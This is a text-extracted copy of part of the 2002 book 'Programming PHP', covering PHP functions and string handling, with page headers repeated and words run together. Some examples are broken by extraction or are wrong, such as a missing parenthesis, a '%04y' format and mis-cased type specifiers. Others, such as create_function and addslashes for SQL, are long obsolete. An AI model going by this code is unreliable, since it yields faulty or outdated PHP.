,ch03.15429 Page 67 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (68)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

68 | Chapter 3: Functions

Variable ParametersA function may require a variable number of arguments. For example, the get_preferences( ) example in the previous section might return the preferences for anynumber of names, rather than for just one. To declare a function with a variablenumber of arguments, leave out the parameter block entirely.

function get_preferences( ) { // some code}

PHP provides three functions you can use in the function to retrieve the parameterspassed to it. func_get_args( ) returns an array of all parameters provided to the func-tion, func_num_args( ) returns the number of parameters provided to the function,and func_get_arg( ) returns a specific argument from the parameters.

$array = func_get_args( );$count = func_num_args( );$value = func_get_arg(argument_number);

In Example 3-6, the count_list( ) function takes in any number of arguments. Itloops over those arguments and returns the total of all the values. If no parametersare given, it returns false.

The result of any of these functions cannot directly be used as a parameter to anotherfunction. To use the result of one of these functions as a parameter, you must first seta variable to the result of the function, then use that in the function call. The follow-ing expression will not work:

foo(func_num_args( ));

Instead, use:

$count = func_num_args( );foo($count);

Example 3-6. Argument counter

function count_list( ) { if(func_num_args( ) == 0) { return false; } else { for($i = 0; $i < func_num_args( ); $i++) { $count += func_get_arg($i); } return $count; }}

echo count_list(1, 5, 9);

,ch03.15429 Page 68 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (69)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Return Values | 69

Missing ParametersPHP lets you be as lazy as you want—when you call a function, you can pass anynumber of arguments to the function. Any parameters the function expects that arenot passed to it remain unset, and a warning is issued for each of them:

function takes_two( $a, $b ) { if (isset($a)) { echo " a is set\n"; } if (isset($b)) { echo " b is set\n"; }}echo "With two arguments:\n";takes_two(1, 2);echo "With one argument:\n";takes_two(1);With two arguments: a is set b is setWith one argument:Warning: Missing argument 2 for takes_two( ) in /path/to/script.php on line 6a is set

Return ValuesPHP functions can return only a single value with the return keyword:

function return_one() { return 42;}

To return multiple values, return an array:

function return_two ( ) { return array("Fred", 35);}

By default, values are copied out of the function. A function declared with an &before its name returns a reference (alias) to its return value:

$names = array("Fred", "Barney", "Wilma", "Betty");function & find_one($n) { return $names[$n];}$person =& find_one(1); // Barney$person = "Barnetta"; // changes $names[1]

In this code, the find_one( ) function returns an alias for $names[1], instead of a copyof its value. Because we assign by reference, $person is an alias for $names[1], and thesecond assignment changes the value in $names[1].

This technique is sometimes used to return large string or array values efficientlyfrom a function. However, PHP’s copy-on-write/shallow-copy mechanism usually

,ch03.15429 Page 69 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (70)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

70 | Chapter 3: Functions

means that returning a reference from a function is not necessary. There is no pointin returning a reference to some large piece of data unless you know you are likely tochange that data. The drawback of returning the reference is that it is slower thanreturning the value and relying on the shallow-copy mechanism to ensure that a copyof that data is not made unless it is changed.

Variable FunctionsAs with variable variables, you can call a function based on the value of a variable.For example, consider this situation, where a variable is used to determine which ofthree functions to call:

switch($which) { case 'first': first( ); break;

case 'second': second( ); break;

case 'third': third( ); break;}

In this case, we could use a variable function call to call the appropriate function. Tomake a variable function call, include the parameters for a function in parenthesesafter the variable. To rewrite the previous example:

$which(); // if $which is "first" the function first( ) is called, etc...

If no function exists for the variable, a runtime error occurs when the code is evalu-ated. To prevent this, you can use the built-in function function_exists( ) to deter-mine whether a function exists for the value of the variable before calling thefunction:

$yes_or_no = function_exists(function_name);

For example:

if(function_exists($which)) { $which(); // if $which is "first" the function first( ) is called, etc...}

Language constructs such as echo( ) and isset( ) cannot be called through variablefunctions:

$f = 'echo';$f('hello, world'); // does not work

,ch03.15429 Page 70 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (71)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Anonymous Functions | 71

Anonymous FunctionsSome PHP functions use a function you provide them with to do part of their work.For example, the usort( ) function uses a function you create and pass to it as aparameter to determine the sort order of the items in an array.

Although you can define a function for such purposes, as shown previously, thesefunctions tend to be localized and temporary. To reflect the transient nature of thecallback, create and use an anonymous function (or lambda function).

You can create an anonymous function using create_function( ). This function takestwo parameters—the first describes the parameters the anonymous function takes in,and the second is the actual code. A randomly generated name for the function isreturned:

$func_name = create_function(args_string, code_string);

Example 3-7 shows an example using usort( ).

The array is sorted by usort( ), using the anonymous function, in order of stringlength.

Example 3-7. Anonymous functions

$lambda = create_function('$a,$b', 'return(strlen($a) - strlen($b));');$array = array('really long string here, boy', 'this', 'middling length', 'larger');usort($array, $lambda);print_r($array);

,ch03.15429 Page 71 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (72)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

72

Chapter 4CHAPTER 4

Strings

Most data you encounter as you program will be sequences of characters, or strings.Strings hold people’s names, passwords, addresses, credit-card numbers, photo-graphs, purchase histories, and more. For that reason, PHP has an extensive selec-tion of functions for working with strings.

This chapter shows the many ways to write strings in your programs, including thesometimes-tricky subject of interpolation (placing a variable’s value into a string),then covers the many functions for changing, quoting, and searching strings. By theend of this chapter, you’ll be a string-handling expert.

Quoting String ConstantsThere are three ways to write a literal string in your program: using single quotes,double quotes, and the here document (heredoc) format derived from the Unix shell.These methods differ in whether they recognize special escape sequences that let youencode other characters or interpolate variables.

The general rule is to use the least powerful quoting mechanism necessary. In prac-tice, this means that you should use single-quoted strings unless you need to includeescape sequences or interpolate variables, in which case you should use double-quoted strings. If you want a string that spans many lines, use a heredoc.

Variable InterpolationWhen you define a string literal using double quotes or a heredoc, the string is sub-ject to variable interpolation. Interpolation is the process of replacing variable namesin the string with the values of those variables. There are two ways to interpolatevariables into strings—the simple way and the complex way.

The simple way is to just put the variable name in a double-quoted string or heredoc:

$who = 'Kilroy';$where = 'here';

,ch04.15552 Page 72 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (73)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Quoting String Constants | 73

echo "$who was $where";Kilroy was here

The complex way is to surround the variable being interpolated with curly braces.This method can be used either to disambiguate or to interpolate array lookups. Theclassic use of curly braces is to separate the variable name from surrounding text:

$n = 12;echo "You are the {$n}th person";You are the 12th person

Without the curly braces, PHP would try to print the value of the $nth variable.

Unlike in some shell environments, in PHP strings are not repeatedly processed forinterpolation. Instead, any interpolations in a double-quoted string are processed,then the result is used as the value of the string:

$bar = 'this is not printed';$foo = '$bar'; // single quotesprint("$foo");$bar

Single-Quoted StringsSingle-quoted strings do not interpolate variables. Thus, the variable name in the fol-lowing string is not expanded because the string literal in which it occurs is single-quoted:

$name = 'Fred';$str = 'Hello, $name'; // single-quotedecho $str;Hello, $name

The only escape sequences that work in single-quoted strings are \', which puts a sin-gle quote in a single-quoted string, and \\, which puts a backslash in a single-quotedstring. Any other occurrence of a backslash is interpreted simply as a backslash:

$name = 'Tim O\'Reilly'; // escaped single quoteecho $name;$path = 'C:\\WINDOWS'; // escaped backslashecho $path;$nope = '\n'; // not an escapeecho $nope;Tim O'ReillyC:\WINDOWS\n

Double-Quoted StringsDouble-quoted strings interpolate variables and expand the many PHP escapesequences. Table 4-1 lists the escape sequences recognized by PHP in double-quotedstrings.

,ch04.15552 Page 73 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (74)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

74 | Chapter 4: Strings

If an unknown escape sequence (i.e., a backslash followed by a character that is notone of those in Table 4-1) is found in a double-quoted string literal, it is ignored (ifyou have the warning level E_NOTICE set, a warning is generated for such unknownescape sequences):

$str = "What is \c this?"; // unknown escape sequenceecho $str ;What is \c this?

Here DocumentsYou can easily put multiline strings into your program with a heredoc, as follows:

$clerihew = <<< End_Of_QuoteSir Humphrey DavyAbominated gravy.He lived in the odiumOf having discovered sodium.End_Of_Quote;echo $clerihew;Sir Humphrey DavyAbominated gravy.He lived in the odiumOf having discovered sodium.

The <<< Identifier tells the PHP parser that you’re writing a heredoc. There must bea space after the <<< and before the identifier. You get to pick the identifier. The nextline starts the text being quoted by the heredoc, which continues until it reaches aline that consists of nothing but the identifier.

Table 4-1. Escape sequences in double-quoted strings

Escape sequence Character represented

\" Double quotes

\n Newline

\r Carriage return

\t Tab

\\ Backslash

\$ Dollar sign

\{ Left brace

\} Right brace

\[ Left bracket

\] Right bracket

\0 through \777 ASCII character represented by octal value

\x0 through \xFF ASCII character represented by hex value

,ch04.15552 Page 74 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (75)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Printing Strings | 75

As a special case, you can put a semicolon after the terminating identifier to end thestatement, as shown in the previous code. If you are using a heredoc in a more com-plex expression, you need to continue the expression on the next line, as shown here:

printf(<<< Template%s is %d years old.Template, "Fred", 35);

Single and double quotes in a heredoc are passed through:

$dialogue = <<< No_More"It's not going to happen!" she fumed.He raised an eyebrow. "Want to bet?"No_More;echo $dialogue;"It's not going to happen!" she fumed.He raised an eyebrow. "Want to bet?"

Whitespace in a heredoc is also preserved:

$ws = <<< Enough boo hoo

Enough;// $ws = " boo\n hoo\n";

The newline before the trailing terminator is removed, so these two assignments areidentical:

$s = 'Foo';// same as$s = <<< End_of_pointless_heredocFooEnd_of_pointless_heredoc;

If you want a newline to end your heredoc-quoted string, you’ll need to add an extraone yourself:

$s = <<< EndFoo

End;

Printing StringsThere are four ways to send output to the browser. The echo construct lets you printmany values at once, while print( ) prints only one value. The printf( ) functionbuilds a formatted string by inserting values into a template. The print_r( ) functionis useful for debugging—it prints the contents of arrays, objects, and other things, ina more-or-less human-readable form.

,ch04.15552 Page 75 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (76)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

76 | Chapter 4: Strings

echoTo put a string into the HTML of a PHP-generated page, use echo. While it looks—and for the most part behaves—like a function, echo is a language construct. Thismeans that you can omit the parentheses, so the following are equivalent:

echo "Printy";echo("Printy"); // also valid

You can specify multiple items to print by separating them with commas:

echo "First", "second", "third";Firstsecondthird

It is a parse error to use parentheses when trying to echo multiple values:

// this is a parse errorecho("Hello", "world");

Because echo is not a true function, you can’t use it as part of a larger expression:

// parse errorif (echo("test")) { echo("it worked!");}

Such errors are easily remedied, though, by using the print( ) or printf( ) functions.

print( )The print( ) function sends one value (its argument) to the browser. It returns true ifthe string was successfully displayed and false otherwise (e.g., if the user pressed theStop button on her browser before this part of the page was rendered):

if (! print("Hello, world")) { die("you're not listening to me!");}Hello, world

printf( )The printf( ) function outputs a string built by substituting values into a template(the format string). It is derived from the function of the same name in the standardC library. The first argument to printf( ) is the format string. The remaining argu-ments are the values to be substituted in. A % character in the format string indicatesa substitution.

Format modifiers

Each substitution marker in the template consists of a percent sign (%), possibly fol-lowed by modifiers from the following list, and ends with a type specifier. (Use '%%'to get a single percent character in the output.) The modifiers must appear in theorder in which they are listed here:

,ch04.15552 Page 76 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (77)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Printing Strings | 77

• A padding specifier denoting the character to use to pad the results to the appro-priate string size. Specify 0, a space, or any character prefixed with a singlequote. Padding with spaces is the default.

• A sign. This has a different effect on strings than on numbers. For strings, aminus (–) here forces the string to be right-justified (the default is to left-justify).For numbers, a plus (+) here forces positive numbers to be printed with a lead-ing plus sign (e.g., 35 will be printed as +35).

• The minimum number of characters that this element should contain. If theresult is less than this number of characters, the sign and padding specifier gov-ern how to pad to this length.

• For floating-point numbers, a precision specifier consisting of a period and anumber; this dictates how many decimal digits will be displayed. For types otherthan double, this specifier is ignored.

Type specifiers

The type specifier tells printf( ) what type of data is being substituted. This deter-mines the interpretation of the previously listed modifiers. There are eight types, aslisted in Table 4-2.

The printf( ) function looks outrageously complex to people who aren’t C program-mers. Once you get used to it, though, you’ll find it a powerful formatting tool. Hereare some examples:

• A floating-point number to two decimal places:printf('%.2f', 27.452);27.45

• Decimal and hexadecimal output:printf('The hex value of %d is %x', 214, 214);The hex value of 214 is d6

Table 4-2. printf( ) type specifiers

Specifier Meaning

B The argument is an integer and is displayed as a binary number.

C The argument is an integer and is displayed as the character with that value.

d or I The argument is an integer and is displayed as a decimal number.

e, E, or f The argument is a double and is displayed as a floating-point number.

g or G The argument is a double with precision and is displayed as a floating-point number.

O The argument is an integer and is displayed as an octal (base-8) number.

S The argument is a string and is displayed as such.

U The argument is an unsigned integer and is displayed as a decimal number.

x The argument is an integer and is displayed as a hexadecimal (base-16) number; lowercase letters are used.

X The argument is an integer and is displayed as a hexadecimal (base-16) number; uppercase letters are used.

,ch04.15552 Page 77 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (78)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

78 | Chapter 4: Strings

• Padding an integer to three decimal places:printf('Bond. James Bond. %03d.', 7);Bond. James Bond. 007.

• Formatting a date:printf('%02d/%02d/%04y', $month, $day, $year);02/15/2002

• A percentage:printf('%.2f%% Complete', 2.1);2.10% Complete

• Padding a floating-point number:printf('You\'ve spent $%5.2f so far', 4.1);You've spent $ 4.10 so far

The sprintf( ) function takes the same arguments as printf( ) but returns the built-up string instead of printing it. This lets you save the string in a variable for later use:

$date = sprintf("%02d/%02d/%04d", $month, $day, $year);// now we can interpolate $date wherever we need a date

print_r( ) and var_dump( )The print_r( ) construct intelligently displays what is passed to it, rather than cast-ing everything to a string, as echo and print( ) do. Strings and numbers are simplyprinted. Arrays appear as parenthesized lists of keys and values, prefaced by Array:

$a = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');print_r($a);Array( [name] => Fred [age] => 35 [wife] => Wilma)

Using print_r( ) on an array moves the internal iterator to the position of the last ele-ment in the array. See Chapter 5 for more on iterators and arrays.

When you print_r( ) an object, you see the word Object, followed by the initializedproperties of the object displayed as an array:

class P { var $name = 'nat'; // ...}

$p = new P;print_r($p);Object( [name] => nat)

,ch04.15552 Page 78 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (79)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Accessing Individual Characters | 79

Boolean values and NULL are not meaningfully displayed by print_r( ):

print_r(true); print "\n";1print_r(false); print "\n";

print_r(null); print "\n";

For this reason, var_dump( ) is preferable to print_r( ) for debugging. The var_dump( )function displays any PHP value in a human-readable format:

var_dump(true);bool(true)var_dump(false);bool(false);var_dump(null);bool(null);var_dump(array('name' => Fred, 'age' => 35));array(2) { ["name"]=> string(4) "Fred" ["age"]=> int(35)}class P { var $name = 'Nat'; // ...}$p = new P;var_dump($p);object(p)(1) { ["name"]=> string(3) "Nat"}

Beware of using print_r( ) or var_dump( ) on a recursive structure such as $GLOBALS(which has an entry for GLOBALS that points back to itself). The print_r( ) functionloops infinitely, while var_dump( ) cuts off after visiting the same element three times.

Accessing Individual CharactersThe strlen( ) function returns the number of characters in a string:

$string = 'Hello, world';$length = strlen($string); // $length is 12

You can use array syntax (discussed in detail in Chapter 5) on a string, to addressindividual characters:

$string = 'Hello';for ($i=0; $i < strlen($string); $i++) { printf("The %dth character is %s\n", $i, $string[$i]);}The 0th character is H

,ch04.15552 Page 79 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (80)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

80 | Chapter 4: Strings

The 1th character is eThe 2th character is lThe 3th character is lThe 4th character is o

Cleaning StringsOften, the strings we get from files or users need to be cleaned up before we can usethem. Two common problems with raw data are the presence of extraneouswhitespace, and incorrect capitalization (uppercase versus lowercase).

Removing WhitespaceYou can remove leading or trailing whitespace with the trim( ), ltrim( ), and rtrim( )functions:

$trimmed = trim(string [, charlist ]);$trimmed = ltrim(string [, charlist ]);$trimmed = rtrim(string [, charlist ]);

trim( ) returns a copy of string with whitespace removed from the beginning andthe end. ltrim( ) (the l is for left) does the same, but removes whitespace only fromthe start of the string. rtrim( ) (the r is for right) removes whitespace only from theend of the string. The optional charlist argument is a string that specifies all thecharacters to strip. The default characters to strip are given in Table 4-3.

For example:

$title = " Programming PHP \n";$str_1 = ltrim($title); // $str_1 is "Programming PHP \n"$str_2 = rtrim($title); // $str_2 is " Programming PHP"$str_3 = trim($title); // $str_3 is "Programming PHP"

Given a line of tab-separated data, use the charset argument to remove leading ortrailing whitespace without deleting the tabs:

$record = " Fred\tFlintstone\t35\tWilma \n";$record = trim($record, " \r\n\0\x0B";// $record is "Fred\tFlintstone\t35\tWilma"

Table 4-3. Default characters removed by trim( ), ltrim( ), and rtrim( )

Character ASCII value Meaning

" " 0x20 Space

"\t" 0x09 Tab

"\n" 0x0A Newline (line feed)

"\r" 0x0D Carriage return

"\0" 0x00 NUL-byte

"\x0B" 0x0B Vertical tab

,ch04.15552 Page 80 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (81)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Encoding and Escaping | 81

Changing CasePHP has several functions for changing the case of strings: strtolower( ) andstrtoupper( ) operate on entire strings, ucfirst( ) operates only on the first charac-ter of the string, and ucwords( ) operates on the first character of each word in thestring. Each function takes a string to operate on as an argument and returns a copyof that string, appropriately changed. For example:

$string1 = "FRED flintstone";$string2 = "barney rubble";print(strtolower($string1));print(strtoupper($string1));print(ucfirst($string2));print(ucwords($string2));fred flintstoneFRED FLINTSTONEBarney rubbleBarney Rubble

If you’ve got a mixed-case string that you want to convert to “title case,” where thefirst letter of each word is in uppercase and the rest of the letters are in lowercase, usea combination of strtolower( ) and ucwords( ):

print(ucwords(strtolower($string1)));Fred Flintstone

Encoding and EscapingBecause PHP programs often interact with HTML pages, web addresses (URLs), anddatabases, there are functions to help you work with those types of data. HTML,web page addresses, and database commands are all strings, but they each requiredifferent characters to be escaped in different ways. For instance, a space in a webaddress must be written as %20, while a literal less-than sign (<) in an HTML docu-ment must be written as &lt;. PHP has a number of built-in functions to convert toand from these encodings.

HTMLSpecial characters in HTML are represented by entities such as &amp; and &lt;. Thereare two PHP functions for turning special characters in a string into their entities,one for removing HTML tags, and one for extracting only meta tags.

Entity-quoting all special characters

The htmlspecialchars( ) function changes all characters with HTML entity equiva-lents into those equivalents (with the exception of the space character). This includesthe less-than sign (<), the greater-than sign (>), the ampersand (&), and accentedcharacters.

,ch04.15552 Page 81 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (82)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

82 | Chapter 4: Strings

For example:

$string = htmlentities("Einstürzende Neubauten");echo $string;Einst&uuml;rzende Neubauten

The entity-escaped version (&uuml;) correctly displays as ü in the web page. As youcan see, the space has not been turned into &nbsp;.

The htmlentities( ) function actually takes up to three arguments:

$output = htmlentities(input, quote_style, charset);

The charset parameter, if given, identifies the character set. The default is “ISO-8859-1”. The quote_style parameter controls whether single and double quotes areturned into their entity forms. ENT_COMPAT (the default) converts only double quotes,ENT_QUOTES converts both types of quotes, and ENT_NOQUOTES converts neither. Thereis no option to convert only single quotes. For example:

$input = <<< End"Stop pulling my hair!" Jane's eyes flashed.<p>End;$double = htmlentities($input);// &quot;Stop pulling my hair!&quot; Jane's eyes flashed.&lt;p&gt;

$both = htmlentities($input, ENT_QUOTES);// &quot;Stop pulling my hair!&quot; Jane&#039;s eyes flashed.&lt;p&gt;

$neither = htmlentities($input, ENT_NOQUOTES);// "Stop pulling my hair!" Jane's eyes flashed.&lt;p&gt;

Entity-quoting only HTML syntax characters

The htmlspecialchars( ) function converts the smallest set of entities possible to gen-erate valid HTML. The following entities are converted:

• Ampersands (&) are converted to &amp;

• Double quotes (") are converted to &quot;

• Single quotes (') are converted to &#039; (if ENT_QUOTES is on, as described forhtmlentities( ))

• Less-than signs (<) are converted to &lt;

• Greater-than signs (>) are converted to &gt;

If you have an application that displays data that a user has entered in a form, youneed to run that data through htmlspecialchars( ) before displaying or saving it. Ifyou don’t, and the user enters a string like "angle < 30" or "sturm & drang", thebrowser will think the special characters are HTML, and you’ll have a garbled page.

Like htmlentities( ), htmlspecialchars( ) can take up to three arguments:

$output = htmlspecialchars(input, [quote_style, [charset]]);

,ch04.15552 Page 82 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (83)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Encoding and Escaping | 83

The quote_style and charset arguments have the same meaning that they do forhtmlentities( ).

There are no functions specifically for converting back from the entities to the origi-nal text, because this is rarely needed. There is a relatively simple way to do this,though. Use the get_html_translation_table( ) function to fetch the translation tableused by either of these functions in a given quote style. For example, to get the trans-lation table that htmlentities( ) uses, do this:

$table = get_html_translation_table(HTML_ENTITIES);

To get the table for htmlspecialchars( ) in ENT_NOQUOTES mode, use:

$table = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);

A nice trick is to use this translation table, flip it using array_flip( ), and feed it tostrtr( ) to apply it to a string, thereby effectively doing the reverse of htmlentities( ):

$str = htmlentities("Einstürzende Neubauten"); // now it is encoded

$table = get_html_translation_table(HTML_ENTITIES);$rev_trans = array_flip($table);

echo strtr($str,$rev_trans); // back to normalEinstürzende Neubauten

You can, of course, also fetch the translation table, add whatever other translationsyou want to it, and then do the strtr( ). For example, if you wanted htmlentities( )to also encode spaces to &nbsp;s, you would do:

$table = get_html_translation_table(HTML_ENTITIES);$table[' '] = '&nbsp;';$encoded = strtr($original, $table);

Removing HTML tags

The strip_tags( ) function removes HTML tags from a string:

$input = '<p>Howdy, &quot;Cowboy&quot;</p>';$output = strip_tags($input);// $output is 'Howdy, &quot;Cowboy&quot;'

The function may take a second argument that specifies a string of tags to leave inthe string. List only the opening forms of the tags. The closing forms of tags listed inthe second parameter are also preserved:

$input = 'The <b>bold</b> tags will <i>stay</i><p>';$output = strip_tags($input, '<b>');// $output is 'The <b>bold</b> tags will stay'

Attributes in preserved tags are not changed by strip_tags( ). Because attributessuch as style and onmouseover can affect the look and behavior of web pages, preserv-ing some tags with strip_tags( ) won’t necessarily remove the potential for abuse.

,ch04.15552 Page 83 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (84)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

84 | Chapter 4: Strings

Extracting meta tags

If you have the HTML for a web page in a string, the get_meta_tags( ) functionreturns an array of the meta tags in that page. The name of the meta tag (keywords,author, description, etc.) becomes the key in the array, and the content of the metatag becomes the corresponding value:

$meta_tags = get_meta_tags('http://www.example.com/');echo "Web page made by {$meta_tags[author]}";Web page made by John Doe

The general form of the function is:

$array = get_meta_tags(filename [, use_include_path]);

Pass a true value for use_include_path to let PHP attempt to open the file using thestandard include path.

URLsPHP provides functions to convert to and from URL encoding, which allows you tobuild and decode URLs. There are actually two types of URL encoding, which differin how they treat spaces. The first (specified by RFC 1738) treats a space as justanother illegal character in a URL and encodes it as %20. The second (implementingthe application/x-www-form-urlencoded system) encodes a space as a + and is used inbuilding query strings.

Note that you don’t want to use these functions on a complete URL, like http://www.example.com/hello, as they will escape the colons and slashes to producehttp%3A%2F%2Fwww.example.com%2Fhello. Only encode partial URLs (the bit afterhttp://www.example.com/), and add the protocol and domain name later.

RFC 1738 encoding and decoding

To encode a string according to the URL conventions, use rawurlencode( ):

$output = rawurlencode(input);

This function takes a string and returns a copy with illegal URL characters encodedin the %dd convention.

If you are dynamically generating hypertext references for links in a page, you needto convert them with rawurlencode( ):

$name = "Programming PHP";$output = rawurlencode($name);echo "http://localhost/$output";http://localhost/Programming%20PHP

The rawurldecode( ) function decodes URL-encoded strings:

$encoded = 'Programming%20PHP';echo rawurldecode($encoded);Programming PHP

,ch04.15552 Page 84 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (85)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Encoding and Escaping | 85

Query-string encoding

The urlencode( ) and urldecode( ) functions differ from their raw counterparts onlyin that they encode spaces as plus signs (+) instead of as the sequence %20. This is theformat for building query strings and cookie values, but because these values areautomatically decoded when they are passed through a form or cookie, you don’tneed to use these functions to process the current page’s query string or cookies. Thefunctions are useful for generating query strings:

$base_url = 'http://www.google.com/q=';$query = 'PHP sessions –cookies';$url = $base_url . urlencode($query);echo $url;http://www.google.com/q=PHP+sessions+-cookies

SQLMost database systems require that string literals in your SQL queries be escaped.SQL’s encoding scheme is pretty simple—single quotes, double quotes, NUL-bytes,and backslashes need to be preceded by a backslash. The addslashes( ) functionadds these slashes, and the stripslashes( ) function removes them:

$string = <<< The_End"It's never going to work," she cried,as she hit the backslash (\\) key.The_End;echo addslashes($string);\"It\'s never going to work,\" she cried,as she hit the backslash (\\) key.echo stripslashes($string);"It's never going to work," she cried,as she hit the backslash (\) key.

Some databases escape single quotes with another single quote instead of a back-slash. For those databases, enable magic_quotes_sybase in your php.ini file.

C-String EncodingThe addcslashes( ) function escapes arbitrary characters by placing backslashesbefore them. With the exception of the characters in Table 4-4, characters with ASCIIvalues less than 32 or above 126 are encoded with their octal values (e.g., "\002").The addcslashes( ) and stripcslashes( ) functions are used with nonstandard data-base systems that have their own ideas of which characters need to be escaped.

Table 4-4. Single-character escapes recognized by addcslashes( ) and stripcslashes( )

ASCII value Encoding

7 \a

8 \b

9 \t

,ch04.15552 Page 85 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (86)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

86 | Chapter 4: Strings

Call addcslashes( ) with two arguments—the string to encode and the characters toescape:

$escaped = addcslashes(string, charset);

Specify a range of characters to escape with the ".." construct:

echo addcslashes("hello\tworld\n", "\x00..\x1fz..\xff");hello\tworld\n

Beware of specifying '0', 'a', 'b', 'f', 'n', 'r', 't', or 'v' in the character set, asthey will be turned into '\0', '\a', etc. These escapes are recognized by C and PHPand may cause confusion.

stripcslashes( ) takes a string and returns a copy with the escapes expanded:

$string = stripcslashes(escaped);

For example:

$string = stripcslashes('hello\tworld\n');// $string is "hello\tworld\n"

Comparing StringsPHP has two operators and six functions for comparing strings to each other.

Exact ComparisonsYou can compare two strings for equality with the == and === operators. These oper-ators differ in how they deal with non-string operands. The == operator casts non-string operands to strings, so it reports that 3 and "3" are equal. The === operatordoes not cast, and returns false if the types of the arguments differ.

$o1 = 3;$o2 = "3";if ($o1 == $o2) { echo("== returns true<br>");}if ($o1 === $o2) { echo("=== returns true<br>");}== returns true

10 \n

11 \v

12 \f

13 \r

Table 4-4. Single-character escapes recognized by addcslashes( ) and stripcslashes( ) (continued)

ASCII value Encoding

,ch04.15552 Page 86 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (87)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Comparing Strings | 87

The comparison operators (<, <=, >, >=) also work on strings:

$him = "Fred";$her = "Wilma";if ($him < $her) { print "$him comes before $her in the alphabet.\n";}Fred comes before Wilma in the alphabet

However, the comparison operators give unexpected results when comparing stringsand numbers:

$string = "PHP Rocks";$number = 5;if ($string < $number) { echo("$string < $number");}PHP Rocks < 5

When one argument to a comparison operator is a number, the other argument iscast to a number. This means that "PHP Rocks" is cast to a number, giving 0 (sincethe string does not start with a number). Because 0 is less than 5, PHP prints "PHPRocks < 5".

To explicitly compare two strings as strings, casting numbers to strings if necessary,use the strcmp( ) function:

$relationship = strcmp(string_1, string_2);

The function returns a number less than 0 if string_1 sorts before string_2, greaterthan 0 if string_2 sorts before string_1, or 0 if they are the same:

$n = strcmp("PHP Rocks", 5);echo($n);1

A variation on strcmp( ) is strcasecmp( ), which converts strings to lowercase beforecomparing them. Its arguments and return values are the same as those for strcmp( ):

$n = strcasecmp("Fred", "frED"); // $n is 0

Another variation on string comparison is to compare only the first few characters ofthe string. The strncmp( ) and strncasecmp( ) functions take an additional argument,the initial number of characters to use for the comparisons:

$relationship = strncmp(string_1, string_2, len);$relationship = strncasecmp(string_1, string_2, len);

The final variation on these functions is natural-order comparison with strnatcmp( )and strnatcasecmp( ), which take the same arguments as strcmp( ) and return thesame kinds of values. Natural-order comparison identifies numeric portions of thestrings being compared and sorts the string parts separately from the numeric parts.

Table 4-5 shows strings in natural order and ASCII order.

,ch04.15552 Page 87 Wednesday, March 13, 2002 11:43 AM

Programming php 1 - [PDF Document] (88)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

88 | Chapter 4: Strings

Approximate EqualityPHP provides several functions that let you test whether two strings are approxi-mately equal: soundex( ), metaphone( ), similar_text(), and levenshtein( ).

$soundex_code = soundex($string);$metaphone_code = metaphone($string);$in_common = similar_text($string_1, $string_2 [, $percentage ]);$similarity = levenshtein($string_1, $string_2);$similarity = levenshtein($string_1, $string_2 [, $cost_ins, $cost_rep, $cost_del ]);

The Soundex and Metaphone algorithms each yield a string that represents roughlyhow a word is pronounced in English. To see whether two strings are approximatelyequal with these algorithms, compare their pronunciations. You can compare Soun-dex values only to Soundex values and Metaphone values only to Metaphone val-ues. The Metaphone algorithm is generally more accurate, as the following exampledemonstrates:

